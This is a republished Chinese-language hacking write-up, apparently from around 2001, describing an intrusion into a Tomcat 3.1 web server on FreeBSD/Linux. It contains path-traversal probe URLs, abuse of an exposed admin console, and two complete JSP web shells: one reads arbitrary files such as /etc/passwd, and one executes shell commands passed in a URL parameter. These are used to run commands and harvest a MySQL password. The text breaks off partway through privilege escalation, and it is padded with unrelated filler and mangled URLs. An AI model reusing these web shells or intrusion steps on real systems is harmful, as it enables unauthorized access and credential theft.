争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

入侵WEB主机的全过程

时间:2024/3/7作者:未知来源:争怎路由网人气:

网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

入侵WEB主机的全过程本文描述了如何通过WEB入侵获得freebsd 4.0的root权限。文章主要以教育为目的,希望各位观者不要使用本文中的一些方法及程序,危害网络的安全。 


很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。 

telnet www.target.com 8080 
GET /CHINANSL HTTP/1.1 
[Enter] 
[Enter] 
返回的结果如下: 
HTTP/1.0 404 Not Found 
Date: Sun, 08 Jul 2001 07:49:13 GMT 
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; 
Linux 2 
.2.12 i386; java.vendor=Blackdown Java-Linux Team) 
Content-Language: en 
Content-Type: text/html 
Status: 404 

<h1>Error: 404</h1> 
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL 
我获得了运行的WEBServer的名称“Tomcat 3.1”。我记得我曾经发现过这个版本的漏洞并且post到bugtrap上去过。大概是:通过“..”技术可以退出WEB目录,于是: 
http://target:8080/../../../../%00.jsp (不行) 
http://target:8080/file/index.jsp (不行) 
http://target:8080/index.JSP (不行) 
http://target:8080/index.jsp%81 (不行) 
http://target:8080/index.js%70 (不行) 
http://target:8080/index.jsp%2581 (不行) 
http://target:8080/WEB-INF/ (不行) 
嗯,在试试吧!Tomcat 
3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ 
管理员果然没有删除或禁止访问这个目录:-(失误!)接着我点“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。 几口咖啡的时间,我写了这么一个东东出来: 
<%@ page import="java.io.*" %> 
<% 
String file = request.getParameter("file"); 
String str = ""; 
FileInputStream fis = null; 
DataInputStream dis = null; 
try{ 
fis = new FileInputStream(file); 
dis = new DataInputStream(fis); 
while(true){ 
try{ 
str = dis.readLine(); 
}catch(Exception e){} 
if(str == null)break; 
out.print(str+"<br>"); 

}catch(IOException e){} 
%> 
通过上传的组件将这个jsp上传到对方的WEB目录里,然后: 
http://target:8080http://img.zhengzen.com/upload/shadu_5/test.jsp?file=/etc/passwd 
嘿嘿,密码出来啦。我只看了“/etc/passwd”,并没有看“/etc/shadow”,因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误) 接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧! 

再写: 
<%@ page import="java.io.*" %> 
<% 
try { 
String cmd = request.getParameter("cmd"); 
Process child = Runtime.getRuntime().exec(cmd); 
InputStream in = child.getInputStream(); 
int c; 
while ((c = in.read()) != -1) { 
out.print((char)c); 

in.close(); 
try { 
child.waitFor(); 
} catch (InterruptedException e) { 
e.printStackTrace(); 

} catch (IOException e) { 
System.err.println(e); 

%> 
然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。 
http://target:8080http://img.zhengzen.com/upload/shadu_5/cmd.jsp?cmd=ls+-la+/ (我这里就不列出来了) 
怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了my
sql的密码:)看看是什么权限运行的mysql: 
http://target:8080http://img.zhengzen.com/upload/shadu_5/cmd.jsp?cmd=ps+aux+

关键词:入侵WEB主机的全过程




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版